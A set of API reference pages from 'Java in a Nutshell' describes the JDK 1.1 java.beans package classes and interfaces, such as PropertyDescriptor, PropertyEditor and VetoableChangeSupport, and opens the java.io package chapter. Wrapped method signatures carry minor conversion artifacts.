            public EventSetDescriptor'u'Method addListenerMethod, Method removeListenerMethod)
            public EventSetDescriptor'u'throws IntrospectionException;
            public EventSetDescriptor(String eventSetName, Class listenerType,
            public EventSetDescriptor'u'MethodDescriptor[] listenerMethodDescriptors, Method addListenerMethod,
            public EventSetDescriptor'u'Method removeListenerMethod) throws IntrospectionException;
    // Public Instance Methods
            public Method getAddListenerMethod();
            public MethodDescriptor[] getListenerMethodDescriptors();
            public Method[] getListenerMethods();
            public Class getListenerType();
            public Method getRemoveListenerMethod();
            public boolean isInDefaultEventSet();
            public boolean isUnicast();
            public void setInDefaultEventSet(boolean inDefaultEventSet);
            public void setUnicast(boolean unicast);
}

Hierarchy:

Object->FeatureDescriptor->EventSetDescriptor

Returned By:

BeanInfo.getEventSetDescriptors(), SimpleBeanInfo.getEventSetDescriptors()

Previous | Home | Next
java.beans.Customizer (JDK 1.1) | Book Index | java.beans.FeatureDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.6 java.beans.FeatureDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.6 java.beans.FeatureDescriptor (JDK 1.1)

The FeatureDescriptor class is the base class for MethodDescriptor and PropertyDescriptor, as well as other classes used by the JavaBeans introspection mechanism. It provides basic information about a feature (method, property, event, etc.) of a bean. Typically, the methods that begin with get and is are used by application builders or other tools to query the features of a bean. The set methods, on the other hand, may be used by bean authors to define information about the bean.

setName() specifies the locale-independent, programmatic name of the feature. setDisplayName() specifies a localized, human-readable name. setShortDescription() specifies a short localized string (about 40 characters) that describes the feature. Both the short description and the localized name default to the value of the programmatic name. setExpert() and setHidden() allow you to indicate that the feature is for use only by experts, or for use only by the builder tool, and should be hidden from users of the builder. Finally, the setValue() method allows you to associate an arbitrary named value with the feature.

public class FeatureDescriptor extends Object {
    // Public Constructor
            public FeatureDescriptor();
    // Public Instance Methods
            public Enumeration attributeNames();
            public String getDisplayName();
            public String getName();
            public String getShortDescription();
            public Object getValue(String attributeName);
            public boolean isExpert();
            public boolean isHidden();
            public void setDisplayName(String displayName);
            public void setExpert(boolean expert);
            public void setHidden(boolean hidden);
            public void setName(String name);
            public void setShortDescription(String text);
            public void setValue(String attributeName, Object value);
}

Extended By:

BeanDescriptor, EventSetDescriptor, MethodDescriptor, ParameterDescriptor, PropertyDescriptor

Previous | Home | Next
java.beans.EventSetDescriptor (JDK 1.1) | Book Index | java.beans.IndexedPropertyDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.7 java.beans.IndexedPropertyDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.7 java.beans.IndexedPropertyDescriptor (JDK 1.1)

An IndexedPropertyDescriptor object is a type of PropertyDescriptor that describes a Java bean property that is (or behaves like) an array. The BeanInfo class for a Java bean optionally creates and initializes IndexedPropertyDescriptor objects to describe the indexed properties that the bean supports. Typically, only application builders and similar tools use the descriptor objects to obtain indexed property description information.

You create an IndexedPropertyDescriptor by specifying the name of the indexed property and the Class object for the bean. If you have not followed the standard "design patterns" for accessor method naming, you may also specify the accessor methods for the property, either as method names or as java.lang.reflect.Method objects. Once you have created an IndexedPropertyDescriptor object, you can use the methods of PropertyDescriptor and FeatureDescriptor to provide additional information about the indexed property.

public class IndexedPropertyDescriptor extends PropertyDescriptor {
    // Public Constructors
            public IndexedPropertyDescriptor(String propertyName, Class beanClass) throws IntrospectionException;
            public IndexedPropertyDescriptor(String propertyName, Class beanClass, String getterName,
            public IndexedPropertyDescriptor'u'String setterName, String indexedGetterName,
            public IndexedPropertyDescriptor'u'String indexedSetterName) throws IntrospectionException;
            public IndexedPropertyDescriptor(String propertyName, Method getter, Method setter, Method indexedGetter,
            public IndexedPropertyDescriptor'u'Method indexedSetter) throws IntrospectionException;
    // Public Instance Methods
            public Class getIndexedPropertyType();
            public Method getIndexedReadMethod();
            public Method getIndexedWriteMethod();
}

Hierarchy:

Object->FeatureDescriptor->PropertyDescriptor->IndexedPropertyDescriptor

Previous | Home | Next
java.beans.FeatureDescriptor (JDK 1.1) | Book Index | java.beans.IntrospectionException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.8 java.beans.IntrospectionException (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.8 java.beans.IntrospectionException (JDK 1.1)

Signals that introspection on a Java bean could not be completed. Typically this indicates a bug in the way the bean or its associated BeanInfo class is defined.

public class IntrospectionException extends Exception {
    // Public Constructor
            public IntrospectionException(String mess);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IntrospectionException

Thrown By:

EventSetDescriptor(),
IndexedPropertyDescriptor(),
Introspector.getBeanInfo(),
PropertyDescriptor()

Previous | Home | Next
java.beans.IndexedPropertyDescriptor (JDK 1.1) | Book Index | java.beans.Introspector (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.9 java.beans.Introspector (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.9 java.beans.Introspector (JDK 1.1)

The Introspector is a class that is never instantiated. Its static getBeanInfo() methods provide a way to obtain information about a Java bean, and are typically only invoked by application builders or similar tools. getBeanInfo() first looks for a BeanInfo class for the specified Java bean class. For a class named x, it looks for a BeanInfo class named xBeanInfo, first in the current package, and then in each of the packages in the BeanInfo search path.

If no BeanInfo class is found, or if the BeanInfo class found does not provide complete information about the bean properties, events, and methods, getBeanInfo() "introspects" on the bean class by using the java.lang.reflect package to fill in the missing information. When explicit information is provided by a BeanInfo class, getBeanInfo() treats it as definitive. When determining information through introspection, however, it examines each of the bean's superclasses in turn, looking for a BeanInfo class at that level or using introspection. When calling getBeanInfo(), you may optionally specify a second class argument that specifies a superclass for which, and above which, getBeanInfo() does not introspect.

public class Introspector extends Object {
    // No Constructor
    // Class Methods
            public static String decapitalize(String name);
            public static BeanInfo getBeanInfo(Class beanClass) throws IntrospectionException;
            public static BeanInfo getBeanInfo(Class beanClass, Class stopClass) throws IntrospectionException;
            public static String[] getBeanInfoSearchPath();
            public static void setBeanInfoSearchPath(String[] path);
}

Previous | Home | Next
java.beans.IntrospectionException (JDK 1.1) | Book Index | java.beans.MethodDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.10 java.beans.MethodDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.10 java.beans.MethodDescriptor (JDK 1.1)

A MethodDescriptor object is a type of FeatureDescriptor that describes a method supported by a Java bean. The BeanInfo class for a Java bean optionally creates MethodDescriptor objects that describe the methods the bean exports. While a BeanInfo class creates and initializes MethodDescriptor objects, it is typically only application builders and similar tools that use these objects to obtain information about the methods supported by a bean.

To create a MethodDescriptor, you must specify the java.lang.reflect.Method object for the method, and optionally specify an array of ParameterDescriptor objects that describe the parameters of the method. Once you have created a MethodDescriptor object, you can use FeatureDescriptor methods to provide additional information about each method.

public class MethodDescriptor extends FeatureDescriptor {
    // Public Constructors
            public MethodDescriptor(Method method);
            public MethodDescriptor(Method method, ParameterDescriptor[] parameterDescriptors);
    // Public Instance Methods
            public Method getMethod();
            public ParameterDescriptor[] getParameterDescriptors();
}

Hierarchy:

Object->FeatureDescriptor->MethodDescriptor

Passed To:

EventSetDescriptor()

Returned By:

BeanInfo.getMethodDescriptors(),
EventSetDescriptor.getListenerMethodDescriptors(),
SimpleBeanInfo.getMethodDescriptors()

Previous | Home | Next
java.beans.Introspector (JDK 1.1) | Book Index | java.beans.ParameterDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.11 java.beans.ParameterDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.11 java.beans.ParameterDescriptor (JDK 1.1)

A ParameterDescriptor object is a type of FeatureDescriptor that describes an argument or parameter to a method of a Java bean. The BeanInfo class for a Java bean optionally creates ParameterDescriptor objects that describe the parameters of the methods that the bean exports. While the BeanInfo class creates and initializes ParameterDescriptor objects, it is typically only application builders and similar tools that use these objects to obtain information about method parameters supported by the bean.

The ParameterDescriptor class is a trivial subclass of FeatureDescriptor, and does not provide any new methods. Thus, you should use the methods of FeatureDescriptor to provide information about method parameters.

public class ParameterDescriptor extends FeatureDescriptor {
    // Default Constructor: public ParameterDescriptor()
}

Hierarchy:

Object->FeatureDescriptor->ParameterDescriptor

Passed To:

MethodDescriptor()

Returned By:

MethodDescriptor.getParameterDescriptors()

Previous | Home | Next
java.beans.MethodDescriptor (JDK 1.1) | Book Index | java.beans.PropertyChangeEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.12 java.beans.PropertyChangeEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.12 java.beans.PropertyChangeEvent (JDK 1.1)

The PropertyChangeEvent class is a subclass of java.util.EventObject. An event of this type is sent to interested PropertyChangeListener objects whenever a Java bean changes a "bound" property, or whenever a PropertyEditor or Customizer changes a property value. A PropertyChangeEvent is also sent to registered VetoableChangeListener objects when a bean attempts to change the value of a "constrained" property.

When creating a PropertyChangeEvent, you normally specify the bean that generated the event, the programmatic (locale-independent) name of the property that changed, and the old and new values of the property. If the values cannot be determined, null should be passed instead. If the event is a notification that more than one property value changed, the name should also be null.

While Java beans must generate and send PropertyChangeEvent objects, it is typically only application builders and similar tools that are interested in receiving them.

public class PropertyChangeEvent extends EventObject {
    // Public Constructor
            public PropertyChangeEvent(Object source, String propertyName, Object oldValue, Object newValue);
    // Public Instance Methods
            public Object getNewValue();
            public Object getOldValue();
            public Object getPropagationId();
            public String getPropertyName();
            public void setPropagationId(Object propagationId);
}

Hierarchy:

Object->EventObject(Serializable)->PropertyChangeEvent

Passed To:

PropertyChangeListener.propertyChange(),
PropertyVetoException(),
VetoableChangeListener.vetoableChange()

Returned By:

PropertyVetoException.getPropertyChangeEvent()

Previous | Home | Next
java.beans.ParameterDescriptor (JDK 1.1) | Book Index | java.beans.PropertyChangeListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.13 java.beans.PropertyChangeListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.13 java.beans.PropertyChangeListener (JDK 1.1)

This interface is an extension of java.util.EventListener and defines the method that a class must implement in order to be notified when property changes occur. A PropertyChangeEvent is sent out to all registered PropertyChangeListener objects whenever a bean changes one of its "bound" properties, or whenever a PropertyEditor or Customizer changes the value of a property.

public abstract interface PropertyChangeListener extends EventListener {
    // Public Instance Methods
            public abstract void propertyChange(PropertyChangeEvent evt);
}

Passed To:

Customizer.addPropertyChangeListener(),
Customizer.removePropertyChangeListener(),
PropertyChangeSupport.addPropertyChangeListener(),
PropertyChangeSupport.removePropertyChangeListener(),
PropertyEditor.addPropertyChangeListener(),
PropertyEditor.removePropertyChangeListener(),
PropertyEditorSupport.addPropertyChangeListener(),
PropertyEditorSupport.removePropertyChangeListener()

Previous | Home | Next
java.beans.PropertyChangeEvent (JDK 1.1) | Book Index | java.beans.PropertyChangeSupport (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.14 java.beans.PropertyChangeSupport (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.14 java.beans.PropertyChangeSupport (JDK 1.1)

The PropertyChangeSupport class is a convenience class that maintains a list of registered PropertyChangeListener objects and provides the firePropertyChange() method for sending a PropertyChangeEvent object to all registered listeners. Because there are some tricky thread synchronization issues involved in doing this correctly, it is recommended that all Java beans that support "bound" properties either extend this class, or, more commonly, create an instance of this class to which they can delegate the task of maintaining the list of listeners.

public class PropertyChangeSupport extends Object implements Serializable {
    // Public Constructor
            public PropertyChangeSupport(Object sourceBean);
    // Public Instance Methods
            public synchronized void addPropertyChangeListener(PropertyChangeListener listener);
            public void firePropertyChange(String propertyName, Object oldValue, Object newValue);
            public synchronized void removePropertyChangeListener(PropertyChangeListener listener);
}

Previous | Home | Next
java.beans.PropertyChangeListener (JDK 1.1) | Book Index | java.beans.PropertyDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.15 java.beans.PropertyDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.15 java.beans.PropertyDescriptor (JDK 1.1)

A PropertyDescriptor object is a type of FeatureDescriptor that describes a single property of a Java bean. The BeanInfo class for a Java bean optionally creates and initializes PropertyDescriptor objects to describe the properties that the bean supports. Typically, only application builders and similar tools use the get and is methods to obtain this property description information.

You create a PropertyDescriptor by specifying the name of the property and the Class object for the bean. If you have not followed the standard "design patterns" for accessor method naming, you may also specify the accessor methods for the property. Once a PropertyDescriptor is created, the setBound() and setConstrained() methods allow you to specify whether the property is bound and/or constrained. setPropertyEditorClass() allows you to specify a specific property editor that should be used to edit the value of this property (this is useful, for example, when the property is an enumerated type with a specific list of supported values). The methods of the FeatureDescriptor superclass allow additional information about the property to be specified.

public class PropertyDescriptor extends FeatureDescriptor {
    // Public Constructors
            public PropertyDescriptor(String propertyName, Class beanClass) throws IntrospectionException;
            public PropertyDescriptor(String propertyName, Class beanClass, String getterName,
            public PropertyDescriptor'u'String setterName) throws IntrospectionException;
            public PropertyDescriptor(String propertyName, Method getter, Method setter) throws IntrospectionException;
    // Public Instance Methods
            public Class getPropertyEditorClass();
            public Class getPropertyType();
            public Method getReadMethod();
            public Method getWriteMethod();
            public boolean isBound();
            public boolean isConstrained();
            public void setBound(boolean bound);
            public void setConstrained(boolean constrained);
            public void setPropertyEditorClass(Class propertyEditorClass);
}

Hierarchy:

Object->FeatureDescriptor->PropertyDescriptor

Extended By:

IndexedPropertyDescriptor

Returned By:

BeanInfo.getPropertyDescriptors(), SimpleBeanInfo.getPropertyDescriptors()

Previous | Home | Next
java.beans.PropertyChangeSupport (JDK 1.1) | Book Index | java.beans.PropertyEditor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.16 java.beans.PropertyEditor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.16 java.beans.PropertyEditor (JDK 1.1)

The PropertyEditor interface defines the methods that must be implemented by a Java beans property editor intended for use within an application builder or similar tool. PropertyEditor is a complex interface because it defines methods to support several different ways of displaying property values to the user, and it also defines methods to support several different ways of allowing the user to edit the property value.

For a property of type x, the author of a Java bean typically implements a property editor of class x Editor. While the editor is implemented by the bean author, it is usually only instantiated or used by application builders or similar tools (or by a Customizer class for a Bean).

In addition to implementing the PropertyEditor interface, a property editor must have a constructor that expects no arguments, so that it can be easily instantiated by an application builder. Also, it must accept registration and deregistration of PropertyChangeListener objects, and it must send a PropertyChangeEvent to all registered listeners when it changes the value of the property being edited.

The PropertyEditorSupport class is a trivial implementation of PropertyEditor, suitable for subclassing, or for supporting a list of PropertyChangeListener objects.

public abstract interface PropertyEditor {
    // Public Instance Methods
            public abstract void addPropertyChangeListener(PropertyChangeListener listener);
            public abstract String getAsText();
            public abstract Component getCustomEditor();
            public abstract String getJavaInitializationString();
            public abstract String[] getTags();
            public abstract Object getValue();
            public abstract boolean isPaintable();
            public abstract void paintValue(Graphics gfx, Rectangle box);
            public abstract void removePropertyChangeListener(PropertyChangeListener listener);
            public abstract void setAsText(String text) throws IllegalArgumentException;
            public abstract void setValue(Object value);
            public abstract boolean supportsCustomEditor();
}

Implemented By:

PropertyEditorSupport

Returned By:

PropertyEditorManager.findEditor()

Previous | Home | Next
java.beans.PropertyDescriptor (JDK 1.1) | Book Index | java.beans.PropertyEditorManager (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.17 java.beans.PropertyEditorManager (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.17 java.beans.PropertyEditorManager (JDK 1.1)

The PropertyEditorManager class is never meant to be instantiated; it defines static methods for registering and looking up PropertyEditor classes for a specified property type.

A Java bean may specify a particular PropertyEditor class for a given property by specifying it in a PropertyDescriptor object for the property. If it does not do this, the PropertyEditorManager is used to register and look up editors. A bean or an application builder tool may call the registerEditor() method to register a PropertyEditor for properties of a specified type. Application builders and bean Customizer classes may call the findEditor() method to obtain a PropertyEditor for a given property type.

If no editor has been registered for a given type, the PropertyEditorManager attempts to locate one. For a type x, it looks for a class x Editor first in the same package as x, and then in each package listed in the property editor search path.

public class PropertyEditorManager extends Object {
    // Default Constructor: public PropertyEditorManager()
    // Class Methods
            public static PropertyEditor findEditor(Class targetType);
            public static String[] getEditorSearchPath();
            public static void registerEditor(Class targetType, Class editorClass);
            public static void setEditorSearchPath(String[] path);
}

Previous | Home | Next
java.beans.PropertyEditor (JDK 1.1) | Book Index | java.beans.PropertyEditorSupport (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.18 java.beans.PropertyEditorSupport (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.18 java.beans.PropertyEditorSupport (JDK 1.1)

The PropertyEditorSupport class is a trivial implementation of the PropertyEditor interface. It provides "no-op" default implementations of most methods, so that you can can define simple PropertyEditor subclasses that only override a few required methods.

In addition, PropertyEditorSupport defines working versions of addPropertyChangeListener() and removePropertyChangeListener(), along with a firePropertyChange() method that sends a PropertyChangeEvent to all registered listeners. PropertyEditor classes may choose to instantiate a PropertyEditorSupport object simply to handle the job of managing the list of listeners. When used in this way, the PropertyEditorSupport object should be instantiated with a source object specified, so that that source object can be used in the PropertyChangeEvent objects that are sent.

public class PropertyEditorSupport extends Object implements PropertyEditor {
    // Protected Constructors
            protected PropertyEditorSupport();
            protected PropertyEditorSupport(Object source);
    // Public Instance Methods
            public synchronized void addPropertyChangeListener(PropertyChangeListener
            public synchronized void addPropertyChangeListener'u'listener);  // From PropertyEditor
            public void firePropertyChange();
            public String getAsText();  // From PropertyEditor
            public Component getCustomEditor();  // From PropertyEditor
            public String getJavaInitializationString();  // From PropertyEditor
            public String[] getTags();  // From PropertyEditor
            public Object getValue();  // From PropertyEditor
            public boolean isPaintable();  // From PropertyEditor
            public void paintValue(Graphics gfx, Rectangle box);  // From PropertyEditor
            public synchronized void removePropertyChangeListener(PropertyChangeListener
            public synchronized void removePropertyChangeListener'u'listener);  // From PropertyEditor
            public void setAsText(String text) throws IllegalArgumentException;  // From PropertyEditor
            public void setValue(Object value);  // From PropertyEditor
            public boolean supportsCustomEditor();  // From PropertyEditor
}

Previous | Home | Next
java.beans.PropertyEditorManager (JDK 1.1) | Book Index | java.beans.PropertyVetoException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.19 java.beans.PropertyVetoException (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.19 java.beans.PropertyVetoException (JDK 1.1)

The PropertyVetoException signals that a VetoableChangeListener that received a PropertyChangeEvent for a "constrained" property of a bean has vetoed that proposed change.

When this exception is received, the property in question should revert back to its original value, and any VetoableChangeListener objects that have already been notified of the property change must be re-notified to indicate that the property has reverted to its old value. The VetoableChangeSupport class handles this re-notification automatically and re-throws the PropertyVetoException to notify its caller that the change was rejected.

public class PropertyVetoException extends Exception {
    // Public Constructor
            public PropertyVetoException(String mess, PropertyChangeEvent evt);
    // Public Instance Methods
            public PropertyChangeEvent getPropertyChangeEvent();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->PropertyVetoException

Thrown By:

VetoableChangeListener.vetoableChange(), VetoableChangeSupport.fireVetoableChange()

Previous | Home | Next
java.beans.PropertyEditorSupport (JDK 1.1) | Book Index | java.beans.SimpleBeanInfo (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.20 java.beans.SimpleBeanInfo (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.20 java.beans.SimpleBeanInfo (JDK 1.1)

The SimpleBeanInfo class is a trivial implementation of the BeanInfo interface. The methods of this class all return null or -1, indicating that no bean information is available. To use this class, you need only to override the method or methods that return the particular type of bean information you want to provide.

In addition, SimpleBeanInfo provides a convenience method, loadImage(), that takes a resource name as an argument and returns an Image object. This method is useful when defining the getIcon() method.

public class SimpleBeanInfo extends Object implements BeanInfo {
    // Default Constructor: public SimpleBeanInfo()
    // Public Instance Methods
            public BeanInfo[] getAdditionalBeanInfo();  // From BeanInfo
            public BeanDescriptor getBeanDescriptor();  // From BeanInfo
            public int getDefaultEventIndex();  // From BeanInfo
            public int getDefaultPropertyIndex();  // From BeanInfo
            public EventSetDescriptor[] getEventSetDescriptors();  // From BeanInfo
            public Image getIcon(int iconKind);  // From BeanInfo
            public MethodDescriptor[] getMethodDescriptors();  // From BeanInfo
            public PropertyDescriptor[] getPropertyDescriptors();  // From BeanInfo
            public Image loadImage(String resourceName);
}

Previous | Home | Next
java.beans.PropertyVetoException (JDK 1.1) | Book Index | java.beans.VetoableChangeListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.21 java.beans.VetoableChangeListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.21 java.beans.VetoableChangeListener (JDK 1.1)

This interface is an extension of java.util.EventListener and defines the method that a class must implement in order to be notified when a Java bean makes a change to a "constrained" property. A PropertyChangeEvent is passed to the vetoableChange() method when such a change occurs, and if the VetoableChangeListener wants to prevent the change from occurring, this method should throw a PropertyVetoException.

public abstract interface VetoableChangeListener extends EventListener {
    // Public Instance Methods
            public abstract void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException;
}

Passed To:

VetoableChangeSupport.addVetoableChangeListener(), VetoableChangeSupport.removeVetoableChangeListener()

Previous | Home | Next
java.beans.SimpleBeanInfo (JDK 1.1) | Book Index | java.beans.VetoableChangeSupport (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.22 java.beans.VetoableChangeSupport (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.22 java.beans.VetoableChangeSupport (JDK 1.1)

VetoableChangeSupport is a convenience class that maintains a list of registered VetoableChangeListener objects and provides a fireVetoableChange() method for sending a PropertyChangeEvent to all registered listeners. If any of the registered listeners veto the proposed change, fireVetoableChange() send out another PropertyChangeEvent notifying previously notified listeners that the property has changed back to its original value.

Because of the extra complexity of correctly handling vetoable changes, and because of some tricky thread synchronization issues involved in maintaining the list of listeners, it is recommended that all Java beans that support "constrained" events create a VetoableChangeSupport object to which they can delegate the tasks of maintaining the list of listeners and of firing events.

public class VetoableChangeSupport extends Object implements Serializable {
    // Public Constructor
            public VetoableChangeSupport(Object sourceBean);
    // Public Instance Methods
            public synchronized void addVetoableChangeListener(VetoableChangeListener listener);
            public void fireVetoableChange(String propertyName, Object oldValue, Object newValue)
            public void fireVetoableChange'u'throws PropertyVetoException;
            public synchronized void removeVetoableChangeListener(VetoableChangeListener listener);
}

Previous | Home | Next
java.beans.VetoableChangeListener (JDK 1.1) | Book Index | java.beans.Visibility (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.23 java.beans.Visibility (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.23 java.beans.Visibility (JDK 1.1)

This interface is intended to be implemented by advanced beans that may run either with or without a GUI (graphical user interface) present. The methods it defines allow a bean to specify whether it requires a GUI and allows the environment to notify the bean whether a GUI is available.

If a bean absolutely requires a GUI, it should return true from needsGui(). If a bean is running without a GUI, it should return true from avoidingGui(). If no GUI is available, the bean may be notified through a call to dontUseGui(), and if a GUI is available, the bean may be notified through a call to okToUseGui().

public abstract interface Visibility {
    // Public Instance Methods
            public abstract boolean avoidingGui();
            public abstract void dontUseGui();
            public abstract boolean needsGui();
            public abstract void okToUseGui();
}

Previous | Home | Next
java.beans.VetoableChangeSupport (JDK 1.1) | Book Index | The java.io Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] The java.beans Package

Java in a Nutshell

Previous Chapter 23 Next

23. The java.beans Package

Contents:

Select a new section and then

The java.beans package contains the classes and interfaces that constitute the JavaBeans API. It is new in Java 1.1. Figure 23.1 shows the class hierarchy for this package.

The classes and interfaces in this package are useful to programmers who are developing "beanbox" tools to manipulate beans, and to programmers who are writing their own beans. Programmers who are building applications using beans do not have to be familiar with java.beans. See Chapter 10, Java Beans for more details on writing custom beans.

Figure 23.1: The java.beans package

[Graphic: Figure 23-1]

23.1 java.beans.BeanDescriptor (JDK 1.1)

A BeanDescriptor object is a type of FeatureDescriptor that describes a Java bean. The BeanInfo class for a Java bean optionally creates and initializes a BeanDescriptor object to describe the bean. Typically, only application builders and similar tools use the BeanDescriptor.

To create a BeanDescriptor, you must specify the class of the bean, and optionally, the class of a Customizer for the bean. You can use the methods of FeatureDescriptor to provide additional information about the bean.

public class BeanDescriptor extends FeatureDescriptor {
    // Public Constructors
            public BeanDescriptor(Class beanClass);
            public BeanDescriptor(Class beanClass, Class customizerClass);
    // Public Instance Methods
            public Class getBeanClass();
            public Class getCustomizerClass();
}

Hierarchy:

Object->FeatureDescriptor->BeanDescriptor

Returned By:

BeanInfo.getBeanDescriptor(), SimpleBeanInfo.getBeanDescriptor()

Previous | Home | Next
java.awt.peer.WindowPeer (JDK 1.0) | Book Index | java.beans.BeanInfo (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] The java.io Package

Java in a Nutshell

Previous Chapter 24 Next

24. The java.io Package

Contents:
java.io.BufferedOutputStream (JDK 1.0)
java.io.BufferedReader (JDK 1.1)
java.io.BufferedWriter (JDK 1.1)
java.io.ByteArrayInputStream (JDK 1.0)
java.io.ByteArrayOutputStream (JDK 1.0)
java.io.CharArrayReader (JDK 1.1)
java.io.CharArrayWriter (JDK 1.1)
java.io.CharConversionException (JDK 1.1)
java.io.DataInput (JDK 1.0)
java.io.DataInputStream (JDK 1.0)
java.io.DataOutput (JDK 1.0)
java.io.DataOutputStream (JDK 1.0)
java.io.EOFException (JDK 1.0)
java.io.Externalizable (JDK 1.1)
java.io.File (JDK 1.0)
java.io.FileDescriptor (JDK 1.0)
java.io.FileInputStream (JDK 1.0)
java.io.FileNotFoundException (JDK 1.0)
java.io.FileOutputStream (JDK 1.0)
java.io.FileReader (JDK 1.1)
java.io.FileWriter (JDK 1.1)
java.io.FilenameFilter (JDK 1.0)
java.io.FilterInputStream (JDK 1.0)
java.io.FilterOutputStream (JDK 1.0)
java.io.FilterReader (JDK 1.1)
java.io.FilterWriter (JDK 1.1)
java.io.InputStream (JDK 1.0)
java.io.InputStreamReader (JDK 1.1)
java.io.InterruptedIOException (JDK 1.0)
java.io.InvalidClassException (JDK 1.1)
java.io.InvalidObjectException (JDK 1.1)
java.io.IOException (JDK 1.0)
java.io.LineNumberInputStream (JDK 1.0; Deprecated.)
java.io.LineNumberReader (JDK 1.1)
java.io.NotActiveException (JDK 1.1)
java.io.NotSerializableException (JDK 1.1)
java.io.ObjectInput (JDK 1.1)
java.io.ObjectInputStream (JDK 1.1)
java.io.ObjectInputValidation (JDK 1.1)
java.io.ObjectOutput (JDK 1.1)
java.io.ObjectOutputStream (JDK 1.1)
java.io.ObjectStreamClass (JDK 1.1)
java.io.ObjectStreamException (JDK 1.1)
java.io.OptionalDataException (JDK 1.1)
java.io.OutputStream (JDK 1.0)
java.io.OutputStreamWriter (JDK 1.1)
java.io.PipedInputStream (JDK 1.0)
java.io.PipedOutputStream (JDK 1.0)
java.io.PipedReader (JDK 1.1)
java.io.PipedWriter (JDK 1.1)
java.io.PrintStream (JDK 1.0)
java.io.PrintWriter (JDK 1.1)
java.io.PushbackInputStream (JDK 1.0)
java.io.PushbackReader (JDK 1.1)
java.io.RandomAccessFile (JDK 1.0)
java.io.Reader (JDK 1.1)
java.io.SequenceInputStream (JDK 1.0)
java.io.Serializable (JDK 1.1)
java.io.StreamCorruptedException (JDK 1.1)
java.io.StreamTokenizer (JDK 1.0)
java.io.StringBufferInputStream (JDK 1.0; Deprecated.)
java.io.StringReader (JDK 1.1)
java.io.StringWriter (JDK 1.1)
java.io.SyncFailedException (JDK 1.1)
java.io.UnsupportedEncodingException (JDK 1.1)
java.io.UTFDataFormatException (JDK 1.0)
java.io.WriteAbortedException (JDK 1.1)
java.io.Writer (JDK 1.1)

The java.io package contains a relatively large number of classes, but, as you can see from Figure 24.1 and Figure 24.2, the classes form a fairly structured hierarchy. Most of the package consists of byte streams--subclasses of InputStream or OutputStream--and (in Java 1.1) character streams--subclasses of Reader or Writer. Each of these stream types has a very specific purpose, and despite its size, java.io is a straightforward package to understand and to use.

Before we consider the stream classes in the package, we'll consider the important non-stream classes. File represents a file or directory name in a system independent way, and provides methods for listing directories, querying file attributes, and for renaming and deleting files. FilenameFilter is an interface that defines a method that accepts or rejects specified filenames. It is used by the java.awt.FileDialog dialog box and by the File class to specify what types of files should be included in directory listings. RandomAccessFile allows you to read or write from or to arbitrary locations of a file. Often, though, you'll prefer sequential access to a file and should use one of the stream classes.

